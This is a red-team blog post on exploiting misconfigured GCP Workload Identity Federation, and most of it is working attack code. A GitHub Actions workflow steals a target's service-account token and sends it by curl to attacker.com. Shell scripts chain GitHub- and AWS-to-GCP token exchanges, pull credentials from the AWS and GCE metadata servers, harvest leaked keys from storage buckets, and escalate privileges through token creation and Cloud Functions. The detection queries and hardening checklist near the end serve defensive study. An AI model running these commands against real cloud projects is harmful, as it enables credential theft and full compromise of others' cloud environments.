Back to Blog
Red Teaming

Exploiting GCP Workload Identity Federation Misconfigurations

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Exploiting GCP Workload Identity Federation Misconfigurations
TL;DR — GCP Workload Identity Federation allows external identities (GitHub Actions tokens, AWS roles, Azure AD principals) to impersonate GCP service accounts via a credential exchange flow. Misconfigured attribute conditions — overly broad matchers, missing conditions entirely, or wildcard role ARNs — allow any attacker who controls a matching external identity to obtain GCP access tokens with the full permissions of the impersonated service account, often including project-level editor or storage admin rights.

Executive Summary

Google Cloud Platform's Workload Identity Federation (WIF) is a security improvement over storing long-lived service account key files: external workloads authenticate with their native credentials and exchange them for short-lived GCP access tokens via the Security Token Service (STS). The design is sound; the implementation frequently is not.

The most common misconfiguration is an overly permissive attribute condition — or no condition at all — in the workload identity pool provider configuration. When a GitHub Actions WIF provider is configured without restricting the attribute.repository or attribute.ref conditions, any GitHub Actions workflow from any public or private repository can impersonate the mapped service account. Given that many organizations configure their CI service accounts with broad permissions (project Editor, Storage Admin, Container Registry writer), this represents a trivial path to full cloud environment compromise.

This post traces the complete attack lifecycle: from identifying WIF misconfigurations through enumeration, to exploiting GitHub Actions → GCP and AWS → GCP credential exchange paths, to escalating privileges through GCP's IAM system. We also cover old-style service account key theft from code repositories and metadata server exploitation from inside compromised GCE instances. Each attack vector is illustrated with working gcloud commands and API calls.

The thread connecting all these vectors is credential access: GCP's cloud environment is only as secure as the identity model protecting it, and Workload Identity Federation, despite its name, does not inherently make that identity model more restrictive — it shifts the attack surface from long-lived key files to OIDC token validation logic.


GCP IAM Fundamentals

Service Accounts, Roles, and the Permission Model

GCP IAM operates on a principal-role-resource hierarchy. Service accounts are non-human identities that workloads use to authenticate to GCP APIs. A service account bound to a high-privilege role represents a persistent attack target:

diagram — rendering…
flowchart TD
    A[External Workload] -->|OIDC Token| B[WIF Token Exchange STS API]
    B -->|Validates conditions| C{Attribute Condition Check}
    C -->|Pass| D[Federated Access Token]
    C -->|Fail| E[Permission Denied]
    D -->|Impersonate| F[GCP Service Account]
    F -->|Bound to| G[IAM Roles]
    G --> H[Project Editor]
    G --> I[Storage Admin]
    G --> J[Container Registry Writer]
    G --> K[Cloud Functions Admin]
    
    H & I & J & K --> L[Data Exfiltration / Persistence / Lateral Movement]
    
    style E fill:#44aa44,color:#fff
    style L fill:#ff4444,color:#fff
    style C fill:#ff6600,color:#fff

Workload Identity Federation: Token Exchange Flow

The WIF flow involves three steps:

  • External workload obtains its native credential (GitHub OIDC token, AWS STS AssumeRoleWithWebIdentity response, Azure AD token)
  • External credential is exchanged via GCP STS for a federated access token
  • Federated token is used to impersonate a service account via generateAccessToken
bash
# Step 1: Get an external token (GitHub Actions example)# GITHUB_TOKEN_VALUE is the OIDC token from GitHub's token endpoint # Step 2: Exchange at GCP STScurl -s -X POST https://sts.googleapis.com/v1/token \  -H "Content-Type: application/json" \  -d '{    "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",    "audience": "//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID",    "scope": "https://www.googleapis.com/auth/cloud-platform",    "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",    "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",    "subject_token": "GITHUB_OIDC_TOKEN"  }' # Step 3: Impersonate service account using federated tokencurl -s -X POST \  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/SA_EMAIL:generateAccessToken" \  -H "Authorization: Bearer FEDERATED_ACCESS_TOKEN" \  -H "Content-Type: application/json" \  -d '{    "scope": ["https://www.googleapis.com/auth/cloud-platform"],    "lifetime": "3600s"  }'

Overly Permissive Attribute Conditions

Misconfiguration Patterns

The WIF provider configuration specifies an attribute mapping (which OIDC claims map to which GCP attributes) and an attribute condition (which values are allowed to impersonate the service account). Missing or overly broad conditions are the primary attack surface:

bash
# VULNERABLE: No attribute conditiongcloud iam workload-identity-pools providers create-oidc \  --workload-identity-pool=github-pool \  --location=global \  --issuer-uri="https://token.actions.githubusercontent.com" \  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \  # Missing: --attribute-condition prevents ALL repositories from matching  --project=TARGET_PROJECT_ID # VULNERABLE: Wildcard condition (any AWS role)gcloud iam workload-identity-pools providers create-aws \  --workload-identity-pool=aws-pool \  --location=global \  --account-id="123456789012" \  --attribute-condition="attribute.aws_role.startsWith('arn:aws:iam::')"  # This matches ANY AWS role ARN — effectively no restriction # SECURE: Restrictive condition pinned to specific repo and branchgcloud iam workload-identity-pools providers create-oidc \  --workload-identity-pool=github-pool \  --location=global \  --issuer-uri="https://token.actions.githubusercontent.com" \  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository,attribute.ref=assertion.ref" \  --attribute-condition="attribute.repository == 'myorg/production-repo' && attribute.ref == 'refs/heads/main'" \  --project=TARGET_PROJECT_ID

GitHub Actions to GCP Pivot

Exploiting Missing Attribute Conditions

If a WIF provider for GitHub Actions has no attribute condition (or an overly broad one), an attacker who controls any GitHub repository can obtain GCP credentials:

yaml
# Attacker-controlled GitHub Actions workflow# This runs in the attacker's own repository but impersonates# the target organization's GCP service account name: GCP Credential Exfiltrationon: [push] permissions:  id-token: write  # Required to request GitHub OIDC token  contents: read jobs:  steal-gcp-credentials:    runs-on: ubuntu-latest    steps:      - name: Authenticate to GCP via misconfigured WIF        id: auth        uses: google-github-actions/auth@v2        with:          # Target organization's WIF pool/provider — no attribute condition          workload_identity_provider: 'projects/TARGET_PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/providers/github-provider'          service_account: 'ci-deploy@TARGET_PROJECT.iam.gserviceaccount.com'            - name: Verify access and enumerate permissions        run: |          # Dump the access token for exfiltration          gcloud auth print-access-token                    # Enumerate accessible resources          gcloud projects list          gcloud storage buckets list          gcloud container images list --repository=gcr.io/TARGET_PROJECT                    # Exfiltrate the token to attacker's infrastructure          TOKEN=$(gcloud auth print-access-token)          curl -s -X POST https://attacker.com/collect \            -d "token=$TOKEN&project=TARGET_PROJECT"

Manual Exploitation via gcloud and curl

bash
#!/bin/bash# Manual WIF exploitation — when you have an external token and want GCP access TARGET_PROJECT_NUMBER="123456789012"POOL_ID="github-pool"PROVIDER_ID="github-provider"TARGET_SA="ci-deploy@target-project.iam.gserviceaccount.com" # 1. Get GitHub OIDC token (in a GitHub Actions context)GITHUB_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=//iam.googleapis.com/projects/${TARGET_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" \  | jq -r .value) echo "[+] GitHub OIDC token obtained" # 2. Exchange GitHub token for GCP federated tokenAUDIENCE="//iam.googleapis.com/projects/${TARGET_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" FEDERATED_TOKEN=$(curl -sS -X POST "https://sts.googleapis.com/v1/token" \  -H "Content-Type: application/json" \  -d "{    \"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",    \"audience\": \"${AUDIENCE}\",    \"scope\": \"https://www.googleapis.com/auth/cloud-platform\",    \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",    \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",    \"subject_token\": \"${GITHUB_TOKEN}\"  }" | jq -r .access_token) echo "[+] Federated GCP token obtained" # 3. Generate service account access tokenSA_TOKEN=$(curl -sS -X POST \  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${TARGET_SA}:generateAccessToken" \  -H "Authorization: Bearer ${FEDERATED_TOKEN}" \  -H "Content-Type: application/json" \  -d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"]}' \  | jq -r .accessToken) echo "[+] Service account token: ${SA_TOKEN}" # 4. Use the token for API callscurl -sS "https://storage.googleapis.com/storage/v1/b?project=target-project" \  -H "Authorization: Bearer ${SA_TOKEN}" | jq '.items[].name'

AWS to GCP Lateral Movement

Cross-Cloud Credential Exchange

An attacker who compromises an AWS role can leverage WIF to obtain GCP credentials without ever touching a GCP key file:

bash
#!/bin/bash# AWS → GCP lateral movement via WIF AWS_ROLE_ARN="arn:aws:iam::123456789012:role/compromised-ec2-role"GCP_PROJECT_NUMBER="987654321098"GCP_POOL_ID="aws-workload-pool"GCP_PROVIDER_ID="aws-provider"TARGET_GCP_SA="cross-cloud-deploy@target-project.iam.gserviceaccount.com" # Step 1: Get AWS credentials (from EC2 instance metadata, stolen keys, etc.)AWS_CREDS=$(curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials/compromised-ec2-role)AWS_ACCESS_KEY=$(echo $AWS_CREDS | jq -r .AccessKeyId)AWS_SECRET_KEY=$(echo $AWS_CREDS | jq -r .SecretAccessKey)AWS_SESSION_TOKEN=$(echo $AWS_CREDS | jq -r .Token) # Step 2: Call AWS STS GetCallerIdentity and sign for GCP WIF# GCP's AWS provider validates the signed GetCallerIdentity requestSIGNED_URL=$(python3 -c "import boto3, json, urllib.parsefrom botocore.auth import SigV4Authfrom botocore.awsrequest import AWSRequestfrom botocore.credentials import Credentials creds = Credentials('$AWS_ACCESS_KEY', '$AWS_SECRET_KEY', '$AWS_SESSION_TOKEN')url = 'https://sts.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15'headers = {'x-goog-cloud-target-resource': '//iam.googleapis.com/projects/$GCP_PROJECT_NUMBER/locations/global/workloadIdentityPools/$GCP_POOL_ID/providers/$GCP_PROVIDER_ID'} request = AWSRequest(method='POST', url=url, headers=headers)SigV4Auth(creds, 'sts', 'us-east-1').add_auth(request) subject_token = {    'url': url,    'method': 'POST',    'headers': [{'key': k, 'value': v} for k,v in request.headers.items()]}print(urllib.parse.quote(json.dumps(subject_token)))") echo "[+] Signed AWS GetCallerIdentity request prepared" # Step 3: Exchange AWS credential for GCP federated tokenFEDERATED_TOKEN=$(curl -sS -X POST "https://sts.googleapis.com/v1/token" \  -H "Content-Type: application/json" \  -d "{    \"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",    \"audience\": \"//iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_POOL_ID}/providers/${GCP_PROVIDER_ID}\",    \"scope\": \"https://www.googleapis.com/auth/cloud-platform\",    \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",    \"subject_token_type\": \"urn:ietf:params:aws:token-type:aws4_request\",    \"subject_token\": \"${SIGNED_URL}\"  }" | jq -r .access_token) echo "[+] GCP federated token obtained from AWS identity"echo "[+] This token can now impersonate: $TARGET_GCP_SA"

Service Account Key Theft

Enumerating Keys in Code Repositories

Old-style service account JSON key files are commonly committed to code repositories, stored in CI/CD systems, or left in GCS buckets:

bash
#!/bin/bash# Enumerate and test service account keys found in exposed repositories # 1. Enumerate service account keys in a compromised GCP projectgcloud iam service-accounts list --project=TARGET_PROJECT# Look for service accounts with external key files (type: USER_MANAGED) gcloud iam service-accounts keys list \  --iam-account=ci-deploy@target-project.iam.gserviceaccount.com \  --project=TARGET_PROJECT # 2. Search GCS buckets for leaked key filesgcloud storage ls --project=TARGET_PROJECTgcloud storage ls gs://target-project-config/gcloud storage cat gs://target-project-config/service-account.json # 3. Test a discovered key filegcloud auth activate-service-account \  --key-file=discovered-key.json # 4. Enumerate permissions of the compromised accountgcloud projects get-iam-policy TARGET_PROJECT \  --flatten="bindings[].members" \  --format="table(bindings.role,bindings.members)" \  --filter="bindings.members:ci-deploy@" # 5. Check for overprivileged service accountsgcloud projects get-iam-policy TARGET_PROJECT \  --flatten="bindings[].members" \  --format="json" | python3 -c "import json, syspolicy = json.load(sys.stdin)dangerous_roles = ['roles/editor', 'roles/owner', 'roles/iam.securityAdmin',                   'roles/storage.admin', 'roles/container.admin']for binding in policy:    if binding.get('bindings_role') in dangerous_roles:        print(f'[!] HIGH PRIVILEGE: {binding}')"

GCE Metadata Server Exploitation

Extracting Tokens from Compromised VMs

GCE instances can access the instance metadata service at 169.254.169.254. This endpoint returns service account credentials for the identity attached to the instance. From inside a compromised GCE VM:

bash
#!/bin/bash# Metadata server exploitation from inside a compromised GCE instance METADATA_URL="http://metadata.google.internal/computeMetadata/v1"METADATA_HEADER="-H 'Metadata-Flavor: Google'" # 1. Identify attached service accountSA_EMAIL=$(curl -sS "${METADATA_URL}/instance/service-accounts/default/email" \  -H "Metadata-Flavor: Google")echo "[+] Attached SA: $SA_EMAIL" # 2. Extract access tokenACCESS_TOKEN=$(curl -sS "${METADATA_URL}/instance/service-accounts/default/token" \  -H "Metadata-Flavor: Google" | jq -r .access_token)echo "[+] Access token: ${ACCESS_TOKEN:0:20}..." # 3. Extract all service account scopesSCOPES=$(curl -sS "${METADATA_URL}/instance/service-accounts/default/scopes" \  -H "Metadata-Flavor: Google")echo "[+] Scopes: $SCOPES" # 4. Get instance identity token (OIDC, for WIF attacks against other services)IDENTITY_TOKEN=$(curl -sS \  "${METADATA_URL}/instance/service-accounts/default/identity?audience=https://target-service.example.com" \  -H "Metadata-Flavor: Google") # 5. Harvest additional metadata (network, project, other SAs)PROJECT_ID=$(curl -sS "${METADATA_URL}/project/project-id" -H "Metadata-Flavor: Google")INSTANCE_NAME=$(curl -sS "${METADATA_URL}/instance/name" -H "Metadata-Flavor: Google")ZONE=$(curl -sS "${METADATA_URL}/instance/zone" -H "Metadata-Flavor: Google") echo "[+] Project: $PROJECT_ID | Instance: $INSTANCE_NAME | Zone: $ZONE" # 6. Use token to enumerate project resourcescurl -sS "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID" \  -H "Authorization: Bearer $ACCESS_TOKEN"

GCP Privilege Escalation Paths

From Storage Access to Code Execution

Starting PermissionEscalation PathResulting Access
storage.adminRead GCS bucket containing SA keys → activate keyFull SA permissions
iam.serviceAccountTokenCreatorGenerate token for any SA in project → impersonateAll SA's permissions
cloudfunctions.functions.createDeploy Cloud Function with admin SA attachedArbitrary code execution as admin SA
container.adminDeploy privileged pod in GKE clusterNode-level access, then lateral movement
editorCreate new SA + grant role + generate keyPersistent backdoor SA
iam.roles.updateModify custom role to add iam.serviceAccounts.actAsSA impersonation
bash
# Privilege escalation via iam.serviceAccountTokenCreator# An attacker with this role on a high-privilege SA can generate tokens for it # Identify SAs where attacker has token creator rolegcloud iam service-accounts get-iam-policy admin-sa@target-project.iam.gserviceaccount.com # Generate access token for the high-privilege SA (no key file needed)gcloud iam service-accounts generate-access-token \  admin-sa@target-project.iam.gserviceaccount.com \  --include-email # Escalation via Cloud Functions# Create a function that executes as a high-privilege SAgcloud functions deploy exfil-function \  --runtime python311 \  --source /tmp/function_source \  --entry-point handler \  --trigger-http \  --service-account=admin-sa@target-project.iam.gserviceaccount.com \  --allow-unauthenticated \  --region us-central1# The function handler can now make API calls as admin-sa

Detection and Hardening

IAM Audit Log Analysis

bash
# Query Cloud Audit Logs for WIF token exchanges and SA impersonationgcloud logging read \  'logName="projects/TARGET_PROJECT/logs/cloudaudit.googleapis.com%2Fdata_access"   AND protoPayload.methodName="GenerateAccessToken"   AND protoPayload.authenticationInfo.serviceAccountDelegationInfo:*' \  --limit=50 \  --format=json | jq '.[] | {    time: .timestamp,    caller: .protoPayload.authenticationInfo.principalEmail,    target_sa: .protoPayload.resourceName,    delegation_chain: .protoPayload.authenticationInfo.serviceAccountDelegationInfo  }' # Alert on: token generation from unexpected principals# Alert on: token generation from external federated identities# Alert on: rapid successive token generations (automated attack tooling) # Query for metadata server access anomalies (from GCE logs)gcloud logging read \  'resource.type="gce_instance"   AND textPayload:"169.254.169.254"   AND jsonPayload.message:"service-accounts"' \  --freshness=1d

WIF Hardening Checklist

ControlImplementationPriority
Restrict attribute conditionsUse attribute.repository == 'exact/repo' not wildcardsCritical
Pin to specific branchesAdd attribute.ref == 'refs/heads/main' conditionHigh
Least-privilege SA rolesAudit and reduce service account role bindingsHigh
Disable unused SA keysgcloud iam service-accounts keys delete KEY_IDHigh
Enable data access audit logsEnable DATA_READ and DATA_WRITE audit logsHigh
Restrict WIF pool to known providersLimit provider count, audit regularlyMedium
Workload identity namespace restrictionsUse GKE workload identity with namespace bindingMedium
SA impersonation chain monitoringAlert on GenerateAccessToken from unexpected sourcesMedium

MITRE ATT&CK Mapping

Technique IDTechnique NameApplication in GCP WIF Exploitation
T1078.004Valid Accounts: Cloud AccountsExploiting misconfigured WIF to impersonate legitimate GCP service accounts with valid, short-lived tokens
T1552Unsecured CredentialsService account JSON key files committed to repos, stored in GCS buckets, or exposed in CI/CD environment variables
T1552.005Cloud Instance Metadata APIExtracting service account tokens from GCE instance metadata service at 169.254.169.254
T1548Abuse Elevation Control MechanismEscalating from limited SA permissions to project Editor via iam.serviceAccountTokenCreator or Cloud Functions deployment
T1530Data from Cloud Storage ObjectReading GCS buckets for sensitive files, credentials, and data exfiltration after privilege escalation
T1619Cloud Storage Object DiscoveryEnumerating GCS buckets, GCR repositories, and Artifact Registry contents with compromised SA credentials
T1098.001Account Manipulation: Additional Cloud CredentialsCreating new SA keys or additional WIF bindings as persistence mechanism after initial access
T1071.001Application Layer Protocol: Web ProtocolsAll GCP API interactions for credential exchange and lateral movement use HTTPS REST APIs

Conclusion

Workload Identity Federation represents a genuine improvement over long-lived service account key files, but it shifts rather than eliminates the credential security problem. The attribute condition in a WIF provider configuration is the primary security control — if it is absent, overly broad, or relies on attacker-controllable values, the entire protection collapses. Any identity that can produce a valid token from the configured OIDC issuer can impersonate the mapped service account.

Organizations adopting WIF must treat attribute condition configuration with the same rigor applied to IAM role bindings. Every WIF provider should be reviewed with the question: "What is the most permissive external identity that could satisfy this condition?" For GitHub Actions, that means restricting to a specific repository and branch, not just an organization. For AWS, that means restricting to a specific IAM role ARN, not just an account ID or role name prefix.

Ongoing detection must cover both the credential exchange events (STS token exchanges) and the resulting API calls. A service account token generated through WIF from an unexpected source should trigger immediate investigation. Combined with regular audits of service account key inventory, workload identity pool configurations, and IAM role bindings, these controls provide the defense-in-depth that GCP's cloud environment requires.